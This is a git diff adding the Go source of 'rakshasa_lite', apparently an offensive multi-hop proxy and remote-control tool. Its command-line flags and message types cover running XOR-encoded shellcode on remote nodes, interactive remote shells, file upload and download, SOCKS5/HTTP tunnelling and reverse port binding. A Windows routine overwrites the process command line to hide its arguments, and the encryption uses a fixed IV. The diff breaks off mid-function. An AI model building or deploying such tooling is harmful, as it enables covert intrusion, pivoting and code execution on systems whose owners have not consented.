diff --git a/rakshasa_lite/aes/cfb.go b/rakshasa_lite/aes/cfb.go new file mode 100644 index 0000000..3fee071 --- /dev/null +++ b/rakshasa_lite/aes/cfb.go @@ -0,0 +1,20 @@ +package aes + +import ( + "bytes" + "crypto/aes" + "crypto/cipher" +) + +func AesCfbNewEncrypSteam() cipher.Stream { + block, _ := aes.NewCipher(Key) + iv := bytes.Repeat([]byte("1"), block.BlockSize()) + + return cipher.NewCFBEncrypter(block, iv) +} +func AesCfbNewDecrypSteam() cipher.Stream { + block, _ := aes.NewCipher(Key) + iv := bytes.Repeat([]byte("1"), block.BlockSize()) + + return cipher.NewCFBDecrypter(block, iv) +} diff --git a/rakshasa_lite/aes/ctr.go b/rakshasa_lite/aes/ctr.go new file mode 100644 index 0000000..b9f38e5 --- /dev/null +++ b/rakshasa_lite/aes/ctr.go @@ -0,0 +1,46 @@ +package aes + +import ( + "bytes" + "crypto/aes" + "crypto/cipher" + "crypto/md5" + "unsafe" +) + +var Key []byte + +func AesCtrEncrypt(dst, plainText []byte) []byte { + //1. 创建cipher.Block接口 + block, _ := aes.NewCipher(Key) + + //2. 创建分组模式,在crypto/cipher包中 + iv := bytes.Repeat([]byte("1"), block.BlockSize()) + stream := cipher.NewCTR(block, iv) + //3. 加密 + + stream.XORKeyStream(dst, plainText) + + return dst +} + +func AesCtrDecrypt(encryptData []byte) []byte { + data := make([]byte, len(encryptData)) + return AesCtrEncrypt(data, encryptData) +} + +const hextable = "0123456789abcdef" + +func MD5_B(str string) []byte { + dst := make([]byte, 32) + for k, v := range md5.Sum(Str2bytes(str)) { + dst[k*2] = hextable[v>>4] + dst[k*2+1] = hextable[v&0x0f] + } + return dst +} +func Str2bytes(s string) []byte { + x := (*[2]uintptr)(unsafe.Pointer(&s)) + h := [3]uintptr{x[0], x[1], x[1]} + return *(*[]byte)(unsafe.Pointer(&h)) +} diff --git a/rakshasa_lite/common/addr.go b/rakshasa_lite/common/addr.go new file mode 100644 index 0000000..67eedf9 --- /dev/null +++ b/rakshasa_lite/common/addr.go @@ -0,0 +1,119 @@ +package common + +import ( + "encoding/base64" + "errors" + "fmt" + "regexp" + + "net" + "strconv" +) + +type Addr struct { + scheam string + user, passwd string + ip string + port int + httpAuthorizationHeader string +} + +func ParseAddr(str string) (cfg *Addr, err error) { + defer func() { + if cfg != nil && cfg.user != "" && cfg.passwd != "" { + cfg.httpAuthorizationHeader = fmt.Sprintf("Proxy-Authorization: Basic %s", base64.URLEncoding.EncodeToString([]byte(cfg.user+":"+cfg.passwd))) + + } + + }() + r, _ := regexp.Compile(`^(http://|socks5://)?(\S+):(\S+)@(\S+):(\d+)`) + m := r.FindAllStringSubmatch(str, 1) + + if m != nil { + + addr, err := net.ResolveTCPAddr("tcp", m[0][4]+":"+m[0][5]) + if err != nil { + return nil, errors.New("配置解析错误 " + m[0][4] + ":" + m[0][5] + " 不是有效的 地址:端口") + } + return &Addr{ + scheam: m[0][1], + user: m[0][2], + passwd: m[0][3], + ip: m[0][4], + port: addr.Port, + }, nil + } + r, _ = regexp.Compile(`^(http://|socks5://)?(\S+):(\S+)@(\d+)`) + m = r.FindAllStringSubmatch(str, 1) + + if m != nil { + + port, _ := strconv.Atoi(m[0][4]) + return &Addr{ + scheam: m[0][1], + user: m[0][2], + passwd: m[0][3], + ip: "", + port: port, + }, nil + } + r, _ = regexp.Compile(`^(http://|socks5://)?(\S+):(\S+)$`) + m = r.FindAllStringSubmatch(str, 1) + + if m != nil { + + addr, err := net.ResolveTCPAddr("tcp", m[0][2]+":"+m[0][3]) + if err != nil { + return nil, errors.New("配置解析错误 " + m[0][1] + ":" + m[0][2] + " 不是有效的 地址:端口") + } + + return &Addr{ + scheam: m[0][1], + user: "", + passwd: "", + ip: m[0][2], + port: addr.Port, + }, nil + } + + port, err := strconv.Atoi(str) + if err != nil { + return nil, errors.New("配置解析错误,请按照 用户名:密码@地址:端口 的方式填写,或者 用户名:密码@端口 或者 ip:端口 或者 只有端口") + } + return &Addr{port: port}, nil +} +func (c *Addr) IP() string { + return c.ip +} +func (c *Addr) Addr() string { + return fmt.Sprintf("%s:%d", c.ip, c.port) +} +func (c *Addr) Port() string { + return fmt.Sprintf("%d", c.port) +} +func (c *Addr) String() string { + if c.user == "" && c.passwd == "" { + if c.ip == "" { + return fmt.Sprintf("%d", c.port) + } + + return fmt.Sprintf("%s%s:%d", c.scheam, c.ip, c.port) + } + + return fmt.Sprintf("%s%s:%s@%s:%d", c.scheam, c.user, c.passwd, c.ip, c.port) +} +func (c *Addr) GetHttpAuthorizationHeader() string { + return c.httpAuthorizationHeader +} +func (c *Addr) User() string { + return c.user +} +func (c *Addr) Password() string { + return c.passwd +} +func (c *Addr) Scheam() string { + return c.scheam +} +func (c *Addr) HttpUrl() string { + return "http://" + c.Addr() +} diff --git a/rakshasa_lite/common/arg_darwin.go b/rakshasa_lite/common/arg_darwin.go new file mode 100644 index 0000000..0ea549c --- /dev/null +++ b/rakshasa_lite/common/arg_darwin.go @@ -0,0 +1,6 @@ +package common +func ChangeArg(param string) { + + //linux暂不支持 + +} \ No newline at end of file diff --git a/rakshasa_lite/common/arg_linux.go b/rakshasa_lite/common/arg_linux.go new file mode 100644 index 0000000..1aa35a8 --- /dev/null +++ b/rakshasa_lite/common/arg_linux.go @@ -0,0 +1,10 @@ +//go:build linux || darwin +// +build linux darwin + +package common + +func ChangeArg(param string) { + + //linux暂不支持 + +} diff --git a/rakshasa_lite/common/arg_windows.go b/rakshasa_lite/common/arg_windows.go new file mode 100644 index 0000000..116513d --- /dev/null +++ b/rakshasa_lite/common/arg_windows.go @@ -0,0 +1,29 @@ +//go:build windows +// +build windows + +package common + +import ( + "syscall" + "unsafe" +) + +func ChangeArg(param string) { + + if kernel32, err := syscall.LoadDLL("Kernel32.dll"); err == nil { + if GetCommandLineA, err := kernel32.FindProc("GetCommandLineW"); err == nil { + u, _, _ := GetCommandLineA.Call() + + u16, _ := syscall.UTF16FromString(param) + + for k, v := range u16 { + *(*byte)(unsafe.Pointer(u + uintptr(k*2+0))) = byte(v) + *(*byte)(unsafe.Pointer(u + uintptr(k*2+1))) = byte(v >> 8) + } + + *(*uint16)(unsafe.Pointer(u + uintptr(len(u16)*2+1))) = 0 + + } + } + +} diff --git a/rakshasa_lite/common/cmd.go b/rakshasa_lite/common/cmd.go new file mode 100644 index 0000000..a2ef31a --- /dev/null +++ b/rakshasa_lite/common/cmd.go @@ -0,0 +1,325 @@ +package common + +import ( + "bytes" + "errors" + "fmt" + "github.com/google/uuid" + "math/rand" + "net" + "rakshasa_lite/aes" + "regexp" + "strings" + "sync" + "sync/atomic" + "time" +) + +const UUID_LEN = 16 + +var BroadcastUUID, _ = uuid.FromBytes(bytes.Repeat([]byte{0xff}, UUID_LEN)) +var NoneUUID, _ = uuid.FromBytes(bytes.Repeat([]byte{0x00}, UUID_LEN)) +var EnableTermVt bool + +// 数据包结构 包长(2byte)UUID+UUID+MsgId+Ttl+cmd包 +type Msg struct { + From string + To string + MsgId uint32 + Ttl uint8 + CmdOpteion uint8 + CmdId uint32 + CmdData []byte +} + +const ( + MAX_PLAINTEXT = 16384 - 2 - UUID_LEN*2 - 4 - 1 - 5 //不包含headlen + MAX_PACKAGE = 0xffff - UUID_LEN*2 - 4 - 1 - 5 + INIT_WINDOWS_SIZE = MAX_PLAINTEXT * 20 + WRITE_DEADLINE = time.Second * 5 + CMD_TIMEOUT = time.Second * 10 +) + +// 大数据包格式,(CMD+fd)headlen+内容,不超过MaxPlaintext,使用tls自动分包 +const ( + CMD_NONE = iota + CMD_CONNECT_BYIDADDR //请求id, 格式newWork(1byte)+负载 + CMD_CONNECT_BYIDADDR_RESULT //返回id + CMD_DELETE_CONNID //删除fd资源 + CMD_CONN_MSG //发送消息,格式windows(8byte)+负载 + CMD_CONN_UDP_MSG //udp数据包 + + CMD_NODE_RESTART //删除所有 + CMD_WINDOWS_UPDATE // 增加窗口值 + CMD_PING //请求ping + CMD_PONG //返回pong + CMD_PING_LISTEN //bind和remoteSocke5用,type(1byte)+id(4byte) + CMD_PING_LISTEN_RESULT + CMD_REG //通过本地注册 + CMD_REG_RESULT //节点端注册 + CMD_REMOTE_REG //通过远程服务器注册 + CMD_REMOTE_REG_RESULT + CMD_GET_CURRENT_NODE //特殊指令,节点丢失后,查询节点 + CMD_GET_CURRENT_NODE_RESULT + CMD_GET_NODE //获取节点列表 + CMD_GET_NODE_RESULT + CMD_ADD_NODE //新增节点 + CMD_LISTEN //监听 + CMD_LISTEN_RESULT + CMD_DELETE_LISTEN + CMD_CONNECT_BYID //连接 + CMD_DELETE_LISTENCONN_BYID + CMD_REMOTE_SOCKS5 // + //CMD_REMOTE_SOCKS5_RESULT + CMD_PWD + CMD_PWD_RESULT + CMD_DIR + CMD_DIR_RESULT + CMD_CD + CMD_CD_RESULT + CMD_UPLOAD + CMD_UPLOAD_RESULT //type(1byte)+msg type定义 0=错误,1=进度 + CMD_DOWNLOAD + CMD_DOWNLOAD_RESULT //type(1byte)+msg type定义 0=错误,1=size包,2=数据包 + CMD_SHELL + CMD_SHELL_DATA + CMD_SHELL_RESULT + CMD_RUN_SHELLCODE + CMD_RUN_SHELLCODE_RESULT +) + +var CmdToName = map[uint8]string{ + CMD_NONE: "CMD_NONE", + CMD_CONNECT_BYIDADDR: "CMD_CONNECT_BYIDADDR", + CMD_CONNECT_BYIDADDR_RESULT: "CMD_CONNECT_BYIDADDR_RESULT", + CMD_DELETE_CONNID: "CMD_DELETE_CONNID", + CMD_CONN_MSG: "CMD_CONN_MSG", + CMD_CONN_UDP_MSG: "CMD_CONN_UDP_MSG", + CMD_NODE_RESTART: "CMD_NODE_RESTART", + CMD_WINDOWS_UPDATE: "CMD_WINDOWS_UPDATE", + CMD_PING: "CMD_PING", + CMD_PONG: "CMD_PONG", + CMD_PING_LISTEN: "CMD_PING_LISTEN", + CMD_PING_LISTEN_RESULT: "CMD_PING_LISTEN_RESULT", + CMD_REG: "CMD_REG", + CMD_REG_RESULT: "CMD_REG_RESULT", + CMD_REMOTE_REG: "CMD_REMOTE_REG", + CMD_REMOTE_REG_RESULT: "CMD_REMOTE_REG_RESULT", + CMD_GET_CURRENT_NODE: "CMD_GET_CURRENT_NODE", + CMD_GET_CURRENT_NODE_RESULT: "CMD_GET_CURRENT_NODE_RESULT", + CMD_GET_NODE: "CMD_GET_NODE", + CMD_GET_NODE_RESULT: "CMD_GET_NODE_RESULT", + CMD_ADD_NODE: "CMD_ADD_NODE", + CMD_LISTEN: "CMD_LISTEN", + CMD_LISTEN_RESULT: "CMD_LISTEN_RESULT", + CMD_DELETE_LISTEN: "CMD_DELETE_LISTEN", + CMD_CONNECT_BYID: "CMD_CONNECT_BYID", + CMD_DELETE_LISTENCONN_BYID: "CMD_DELETE_LISTEN_CONN_BYID", + CMD_REMOTE_SOCKS5: "CMD_REMOTE_SOCKS5", + //CMD_REMOTE_SOCKS5_RESULT: "CMD_REMOTE_SOCKS5_RESULT", + CMD_PWD: "CMD_PWD", + CMD_PWD_RESULT: "CMD_PWD_RESULT", + CMD_DIR: "CMD_DIR", + CMD_DIR_RESULT: "CMD_DIR_RESULT", + CMD_CD: "CMD_CD", + CMD_CD_RESULT: "CMD_CD_RESULT", + CMD_UPLOAD: "CMD_UPLOAD", + CMD_UPLOAD_RESULT: "CMD_UPLOAD_RESULT", + CMD_DOWNLOAD: "CMD_DOWNLOAD", + CMD_DOWNLOAD_RESULT: "CMD_DOWNLOAD_RESULT", + CMD_SHELL: "CMD_SHELL", + CMD_SHELL_DATA: "CMD_SHELL_DATA", + CMD_SHELL_RESULT: "CMD_SHELL_RESULT", + CMD_RUN_SHELLCODE: "CMD_RUN_SHELLCODE", + CMD_RUN_SHELLCODE_RESULT: "CMD_RUN_SHELLCODE_RESULT", +} + +type NetWork byte + +const ( + _ NetWork = iota + SOCKS5_CMD_CONNECT + // CmdBind is bind command + SOCKS5_CMD_BIND + // CmdUDP is UDP command + SOCKS5_CMD_UDP + + RAW_TCP + + RAW_TCP_WITH_PROXY +) + +// 符合Server调用的接口 +type Server interface { + ID() uint32 + Write(buf []byte) + DeleteFd(fd [2]byte) + FdLoad(fd [2]byte) bool + FdStore(fd [2]byte, c Conn) + Close(string) + AddrList() string +} + +const ( + CONN_STATUS_OK = iota + CONN_STATUS_CLOSE +) + +// 符合Conn调用的接口 +type Conn interface { + Write([]byte) //会将部分消息原样不动发回去 + Close(string) +} +type Close interface { + Close(string) +} + +var globalID1, globalID2 uint32 +var GetIDLock sync.Mutex + +func GetID() uint32 { + return atomic.AddUint32(&globalID1, 1) +} + +func GetConnID() uint32 { + return atomic.AddUint32(&globalID2, 1) +} +func init() { + rand.Seed(time.Now().Unix()) + +} + +type RegMsg struct { + UUID string //当前机器uuid + RegAddr string //远程连接的addr + Hostname string //当前机器名称 + Goos string + ViaUUID string + Err string + MainIp string + Port string +} + +var msgId uint32 + +func (m *Msg) Marshal() []byte { + l := UUID_LEN*2 + 4 + 1 + 5 + len(m.CmdData) + data := make([]byte, l+2) + data1 := make([]byte, l+2) + data1[0] = byte(l) + data1[1] = byte(l >> 8) + uf, _ := uuid.Parse(m.From) + ut, _ := uuid.Parse(m.To) + bf, _ := uf.MarshalBinary() + bt, _ := ut.MarshalBinary() + copy(data[2:], bf) + copy(data[2+UUID_LEN:], bt) + b := 2 + 2*UUID_LEN + if m.MsgId == 0 { //id不为0 + m.MsgId = atomic.AddUint32(&msgId, 1) + } + data[b] = byte(m.MsgId) + data[b+1] = byte(m.MsgId >> 8) + data[b+2] = byte(m.MsgId >> 16) + data[b+3] = byte(m.MsgId >> 24) + data[b+4] = m.Ttl + data[b+5] = m.CmdOpteion + data[b+6] = byte(m.CmdId) + data[b+7] = byte(m.CmdId >> 8) + data[b+8] = byte(m.CmdId >> 16) + data[b+9] = byte(m.CmdId >> 24) + copy(data[2+2*UUID_LEN+4+1+5:], m.CmdData) + aes.AesCtrEncrypt(data1[2:], data[2:]) + return data1 +} +func UnmarshalMsg(data []byte) (msg *Msg) { + if len(data) < 2*UUID_LEN+4+1+5 { + return + } + msg = &Msg{} + uf, _ := uuid.FromBytes(data[:UUID_LEN]) + ut, _ := uuid.FromBytes(data[UUID_LEN : 2*UUID_LEN]) + msg.From = uf.String() + msg.To = ut.String() + b := 2 * UUID_LEN + + msg.MsgId = uint32(data[b]) | uint32(data[b+1])<<8 | uint32(data[b+2])<<16 | uint32(data[b+3])<<24 + msg.Ttl = data[b+4] + + msg.CmdOpteion = data[b+5] + msg.CmdId = uint32(data[b+6]) | uint32(data[b+7])<<8 | uint32(data[b+8])<<16 | uint32(data[b+9])<<24 + msg.CmdData = data[b+10:] + + return +} +func ExternalIP() (net.IP, error) { + ifaces, err := net.Interfaces() + if err != nil { + return nil, err + } + for _, iface := range ifaces { + if iface.Flags&net.FlagUp == 0 { + continue // interface down + } + if iface.Flags&net.FlagLoopback != 0 { + continue // loopback interface + } + addrs, err := iface.Addrs() + if err != nil { + return nil, err + } + for _, addr := range addrs { + ip := getIpFromAddr(addr) + if ip == nil { + continue + } + return ip, nil + } + } + return nil, errors.New("connected to the network?") +} + +// 获取ip +func getIpFromAddr(addr net.Addr) net.IP { + var ip net.IP + switch v := addr.(type) { + case *net.IPNet: + ip = v.IP + case *net.IPAddr: + ip = v.IP + } + if ip == nil || ip.IsLoopback() { + return nil + } + ip = ip.To4() + if ip == nil { + return nil // not an ipv4 address + } + + return ip +} +func ResolveTCPAddr(str string) ([]string, error) { + dst := strings.Split(str, ",") + for i := len(dst) - 1; i >= 0; i-- { + addr := dst[i] + if addr == "" { + dst = append(dst[:i], dst[i+1:]...) + } else { + if _, err := net.ResolveTCPAddr("tcp", addr); err != nil { + if i > 0 { + r, _ := regexp.Compile(`^[a-z0-9]{8}-[a-z0-9]{4}-[a-z0-9]{4}-[a-z0-9]{4}-[a-z0-9]{12}`) + match := r.MatchString(addr) + if !match { + return nil, fmt.Errorf("参数错误 格式为\"ip:端口\",多个地址以逗号隔开,错误详情%v", err) + } + } else { + return nil, fmt.Errorf("参数错误 格式为\"ip:端口,第二个地址可以是UUID\",多个地址以逗号隔开,错误详情%v", err) + } + + } + } + + } + + return dst, nil +} diff --git a/rakshasa_lite/common/config.go b/rakshasa_lite/common/config.go new file mode 100644 index 0000000..ab9880e --- /dev/null +++ b/rakshasa_lite/common/config.go @@ -0,0 +1,11 @@ +package common + +type Config struct { + DstNode []string //-d 上级节点 + Password string //通讯密码,可为空 + Port int //默认8883 + ListenIp string //指定公网ip,其他节点进行额外节点连接时候,尝试连接的ip + Limit bool //禁止额外连接,只连接-d节点,不会尝试连接其他节点 + FileName string + FileSave bool `yaml:"-"` +} diff --git a/rakshasa_lite/common/trem_darwin.go b/rakshasa_lite/common/trem_darwin.go new file mode 100644 index 0000000..b0de7b3 --- /dev/null +++ b/rakshasa_lite/common/trem_darwin.go @@ -0,0 +1,11 @@ +package common + +import ( + "github.com/creack/pty" + "os" +) +func SetConsoleVT() {} +func GetSize() *pty.Winsize { + size, _ := pty.GetsizeFull(os.Stdin) + return size +} \ No newline at end of file diff --git a/rakshasa_lite/common/trem_linux.go b/rakshasa_lite/common/trem_linux.go new file mode 100644 index 0000000..24859e8 --- /dev/null +++ b/rakshasa_lite/common/trem_linux.go @@ -0,0 +1,15 @@ +//go:build linux || darwin +// +build linux darwin + +package common + +import ( + "github.com/creack/pty" + "os" +) + +func SetConsoleVT() {} +func GetSize() *pty.Winsize { + size, _ := pty.GetsizeFull(os.Stdin) + return size +} diff --git a/rakshasa_lite/common/trem_windows.go b/rakshasa_lite/common/trem_windows.go new file mode 100644 index 0000000..805d0c7 --- /dev/null +++ b/rakshasa_lite/common/trem_windows.go @@ -0,0 +1 @@ +package common diff --git a/rakshasa_lite/go.mod b/rakshasa_lite/go.mod new file mode 100644 index 0000000..4cff35e --- /dev/null +++ b/rakshasa_lite/go.mod @@ -0,0 +1,13 @@ +module rakshasa_lite + +go 1.16 + +replace cert => ../cert + +require ( + cert v0.0.0-00010101000000-000000000000 // indirect + github.com/creack/pty v1.1.18 + github.com/farmerx/gorsa v0.0.0-20161211100049-3ae06f674f40 + github.com/google/uuid v1.3.0 + gopkg.in/yaml.v3 v3.0.1 +) diff --git a/rakshasa_lite/go.sum b/rakshasa_lite/go.sum new file mode 100644 index 0000000..880733f --- /dev/null +++ b/rakshasa_lite/go.sum @@ -0,0 +1,12 @@ +github.com/creack/pty v1.1.18 h1:n56/Zwd5o6whRC5PMGretI4IdRLlmBXYNjScPaBgsbY= +github.com/creack/pty v1.1.18/go.mod h1:MOBLtS5ELjhRRrroQr9kyvTxUAFNvYEK993ew/Vr4O4= +github.com/dlclark/regexp2 v1.8.1 h1:6Lcdwya6GjPUNsBct8Lg/yRPwMhABj269AAzdGSiR+0= +github.com/dlclark/regexp2 v1.8.1/go.mod h1:DHkYz0B9wPfa6wondMfaivmHpzrQ3v9q8cnmRbL6yW8= +github.com/farmerx/gorsa v0.0.0-20161211100049-3ae06f674f40 h1:OgoboV484kN/ngW4apHvSw8iy9YhhQusAKSLT8nGl94= +github.com/farmerx/gorsa v0.0.0-20161211100049-3ae06f674f40/go.mod h1:Gdtd77IQrjXqFfiourWpNnE1jDPC4opZPDPxPLWFlr0= +github.com/google/uuid v1.3.0 h1:t6JiXgmwXMjEs8VusXIJk2BXHsn+wx8BZdTaoZ5fu7I= +github.com/google/uuid v1.3.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= +gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405 h1:yhCVgyC4o1eVCa2tZl7eS0r+SDo693bJlVdllGtEeKM= +gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= +gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= +gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= diff --git a/rakshasa_lite/httppool/check_proxy.go b/rakshasa_lite/httppool/check_proxy.go new file mode 100644 index 0000000..310c5aa --- /dev/null +++ b/rakshasa_lite/httppool/check_proxy.go @@ -0,0 +1,63 @@ +package httppool + +import ( + "bufio" + "errors" + "fmt" + "io" + "os" + "rakshasa_lite/common" + "strings" + "sync" +) + +type HttpPool struct { + r *bufio.Reader + f *os.File + sync.Mutex +} + +func HttpPoolInit(file string) (*HttpPool, error) { + f, err := os.Open(file) + if err != nil { + return nil, fmt.Errorf("打开http代理池文件 %s 失败", file) + } + p := &HttpPool{ + r: bufio.NewReader(f), + f: f, + Mutex: sync.Mutex{}, + } + if _, err = p.do_next(0); err != nil { + return nil, fmt.Errorf("无法从%s文件获取代理,错误%v", file, err) + } + return p, nil +} +func (p *HttpPool) Next() *common.Addr { + addr, _ := p.do_next(0) + return addr +} +func (p *HttpPool) do_next(n int) (*common.Addr, error) { + if n > 100 { + return nil, errors.New("重试错误次数过多") + } + p.Lock() + line, err := p.r.ReadString(10) + if err == io.EOF { + p.f.Seek(0, 0) + p.r.Reset(p.f) + p.Unlock() + return p.do_next(n + 1) + } + p.Unlock() + line = strings.TrimRight(line, "\n") + line = strings.TrimRight(line, "\r") + + if len(line) == 0 { + return p.do_next(n + 1) + } + addr, err := common.ParseAddr(line) + if err != nil { + return p.do_next(n + 1) + } + return addr, nil +} diff --git a/rakshasa_lite/main.go b/rakshasa_lite/main.go new file mode 100644 index 0000000..b719ae2 --- /dev/null +++ b/rakshasa_lite/main.go @@ -0,0 +1,175 @@ +package main + +import ( + "cert" + "flag" + "fmt" + "log" + "rakshasa_lite/aes" + "rakshasa_lite/common" + "rakshasa_lite/server" + "strconv" + "sync" +) + +func main() { + + var ( + //以下为配置参数 + dstNode = flag.String("d", "", "依次连接到指定的 上级节点地址,格式为 ip:端口 多个节点以,隔开 第二个地址可以是UUID\r\n -d 192.168.1.1:8883\r\n -d 192.168.1.1:8883,192.168.1.2:8882") + limit = flag.String("limit", "", "limit模式,只连接-d的节点,不进行额外节点连接,默认为false,如果为true,本节点掉线的时候,将会尝试连接所有已保存节点") + password = flag.String("password", "", "通讯二次加密秘钥,可为空") + listenip = flag.String("ip", "", "设置本地节点指定公网ip,如\r\n -ip 192.168.1.1") + port = flag.String("p", "", "设置本地节点监听端口,默认8883") + configFile = flag.String("f", "", "配置文件路径,为空的时候不读取") + + //以下为功能参数,必须配合-d参数启动 + socks5port = flag.String("socks5", "", "以本地socks5代理服务端模式运行,通过-d的服务器多级代理转出数据,如果没有-d参数,则相当于建立了一个本地socks5代理服务器,如: -socks5 admin:12345@0.0.0.0:1080") + remoteSocksport = flag.String("remotesocks5", "", "-d节点监听socks5代理,并将请求通过本地转出,如: -remote admin:12345@0.0.0.0:1080") + rawbind = flag.String("bind", "", "反向代理转发模式,格式为ip:port,remote_ip:remote_port,-d指定节点将会监听remote_ip:remote_port,通过本机将数据转发到ip:port,如\r\n -bind 127.0.0.1:80,0.0.0.0:80") + rawconnect = flag.String("connect", "", "代理转发模式,格式为ip:port,remote_ip:remote_port,本地监听ip:port,并在-d节点连接到remote_ip:remote_port,如\r\n -connect 0.0.0.0:80,192.168.1.1:80") + shellCode = flag.String("shellcode", "", "与-d配合指定节点执行shellcode,-d参数为空则为本节点执行,可以为base64或者hex编码") + shellCodeXorKey = flag.String("sXor", "", "shellcode的xor解码密钥") + shellCodeParam = flag.String("sParam", "", "shellcode的运行参数") + shellCodeTimeout = flag.Int("sTimeout", 3, "shellcode的超时等待时间,默认3秒") + http_proxy = flag.String("http_proxy", "", "以本地http代理服务端模式运行,通过-d的服务器多级代理转出数据,如果没有-d参数,则使用本机进行下一步连接, 用户名:密码@ip:端口 可以省略为端口,如: \r\n -http_proxy admin:12345@0.0.0.0:8080\r\n -http_proxy admin:12345@8080\r\n -http_proxy 8080") + http_proxy_pool = flag.String("http_proxy_pool", "", "从指定文件读取http代理服务器池,通过最后节点后(不使用-d则为本机),再从该池里读取一个代理进行请求") + ) + + flag.Parse() + + var config common.Config + if *configFile != "" { + if err := server.ConfigLoad(*configFile); err != nil { + log.Fatalln("读取配置文件", *configFile, "失败 ", err) + } + config = server.GetConfig() + } else { + config = common.Config{ + Port: 8883, + Limit: false, + FileName: "config.yaml", + } + + } + + if *dstNode != "" { + serverlist, err := common.ResolveTCPAddr(*dstNode) + if err != nil { + log.Fatalln("-d参数错误", err) + } + config.DstNode = serverlist + } + + if *password != "" { + config.Password = *password + } + if *listenip != "" { + config.ListenIp = *listenip + } + if *limit != "" { + if *limit != "flase" && *limit != "true" { + log.Fatalln("limit 参数错误,必须是 false 或者 true") + } + config.Limit = *limit == "true" + } + if *port != "" { + p, _ := strconv.Atoi(*port) + if p < 1 || p > 65535 { + log.Fatalln("port 参数错误,必须是1-65535") + } + config.Port = p + } + server.SetConfig(config) + //修正dstNode为空字串的bug + for i := len(config.DstNode) - 1; i >= 0; i-- { + addr := config.DstNode[i] + if addr == "" { + config.DstNode = append(config.DstNode[:i], config.DstNode[i+1:]...) + } + } + server.SetConfig(config) + + //设置一下秘钥 + aes.Key = aes.MD5_B(config.Password + string(cert.RsaPrivateKey[:16])) + //初始化node + server.InitCurrentNode() + + //启动节点 + if len(config.DstNode) > 0 && config.DstNode[0] != "" { + if _, err := server.GetNodeFromAddrs(config.DstNode); err != nil { + log.Fatalln("连接节点失败", err) + } + } + + if *shellCode != "" { + server.RunShellcodeWithDst(*dstNode, *shellCode, *shellCodeXorKey, *shellCodeParam, *shellCodeTimeout) + } + if err := server.StartServer(fmt.Sprintf("0.0.0.0:%d", config.Port)); err != nil { + log.Fatalln(err) + } + + //如果有参数启动,启动一下 + if *rawbind != "" { + if *dstNode == "" { + log.Fatalln("请以 -d 输入远程服务器ip地址") + } + + if err := server.StartRawBind(*rawbind, config.DstNode); err != nil { + log.Fatalln("bind启动失败", err) + } + log.Println("rawBind启动成功") + } else if *rawconnect != "" { + if *dstNode == "" { + log.Fatalln("请以 -d 输入远程服务器ip地址") + } + n, err := server.GetNodeFromAddrs(config.DstNode) + if err != nil { + log.Fatalln("connect启动失败", err) + } + if err := server.StartRawConnect(*rawconnect, n); err != nil { + log.Fatalln("connect启动失败", err) + } + log.Println("rawConnect启动成功") + } else if *socks5port != "" { + + cfg, err := common.ParseAddr(*socks5port) + if err != nil { + log.Fatalln(err) + } + if err := server.StartSocks5(cfg, config.DstNode); err != nil { + log.Fatalln("socks5启动失败", err) + } + log.Println("socks5启动成功") + + } else if *remoteSocksport != "" { + if *dstNode == "" { + log.Fatalln("请以 -d 输入远程服务器ip地址") + } + n, err := server.GetNodeFromAddrs(config.DstNode) + if err != nil { + log.Fatalln("remoteSocks5启动失败", err) + } + cfg, err := common.ParseAddr(*remoteSocksport) + if err != nil { + log.Fatalln(err) + } + if err := server.StartRemoteSocks5(cfg, n); err != nil { + log.Fatalln("remoteSocks5启动失败", err) + } + log.Println("remoteSocks5 启动成功") + } else if *http_proxy != "" { + cfg, err := common.ParseAddr(*http_proxy) + if err != nil { + log.Fatalln(err) + } + if err := server.StartHttpProxy(cfg, config.DstNode, *http_proxy_pool); err != nil { + log.Fatalln("httpProxy启动失败", err) + } + log.Println("httpProxy 启动成功") + } + + var wait sync.WaitGroup + wait.Add(1) + wait.Wait() +} diff --git a/rakshasa_lite/server/config.go b/rakshasa_lite/server/config.go new file mode 100644 index 0000000..638916f --- /dev/null +++ b/rakshasa_lite/server/config.go @@ -0,0 +1,42 @@ +package server + +import ( + "gopkg.in/yaml.v3" + "io/ioutil" + "rakshasa_lite/common" +) + +var currentConfig common.Config + +func SetConfig(config common.Config) { + currentConfig = config + currentConfig.FileSave = false + currentNode.mainIp = currentConfig.ListenIp + currentNode.port = currentConfig.Port +} +func ConfigSave() error { + b, _ := yaml.Marshal(currentConfig) + err := ioutil.WriteFile(currentConfig.FileName, b, 0666) + if err == nil { + currentConfig.FileSave = true + } + return err +} +func ConfigLoad(filename string) error { + b, err := ioutil.ReadFile(filename) + if err == nil { + var config common.Config + err = yaml.Unmarshal(b, &config) + if err == nil { + + currentConfig = config + currentConfig.FileSave = true + } + } + + return err +} +func GetConfig() common.Config { + + return currentConfig +} diff --git a/rakshasa_lite/server/conn.go b/rakshasa_lite/server/conn.go new file mode 100644 index 0000000..5f9cf80 --- /dev/null +++ b/rakshasa_lite/server/conn.go @@ -0,0 +1,714 @@ +package server + +import ( + "bytes" + "cert" + "crypto/tls" + "encoding/json" + "fmt" + "io" + "net" + "net/url" + "rakshasa_lite/aes" + "rakshasa_lite/common" + "strconv" + "strings" + "sync" + "sync/atomic" + "time" +) + +var ( + bufPool = &sync.Pool{ + New: func() interface{} { + return &bytes.Buffer{} + }, + } + closeChan = make(chan *bytes.Buffer, 1) //用于接收已关闭消息的黑洞chan +) + +// 节点的连接,包含listen来的和主动connect的 +type Conn struct { + closeTag int32 + node *node + nodeaddr string + //key string + remoteAddr string + inChan chan func() + OutChan chan []byte + close chan string + isClient bool + nodeConn *tls.Conn + regResult chan error + regResultNode chan *node +} + +type serverListen struct { + close int32 + node *node + listen net.Listener + isSocks5 bool + socks5Replay []byte + replayid uint32 + id uint32 + connMap sync.Map + randkey []byte +} +type serverConnect struct { + close int32 + id uint32 + windowsSize int64 + conn net.Conn + node *node + address string + + write chan *bytes.Buffer + + wait chan int + closeReason string + randkey []byte +} + +// 中转与最终出口 +func StartServer(addr string) error { + config := cert.Tlsconfig.Clone() + fmt.Println("start on ", addr) + + l, err := tls.Listen("tcp", addr, config) + if err != nil { + return fmt.Errorf("server start fail %v", err) + } + currentNode.listen = l 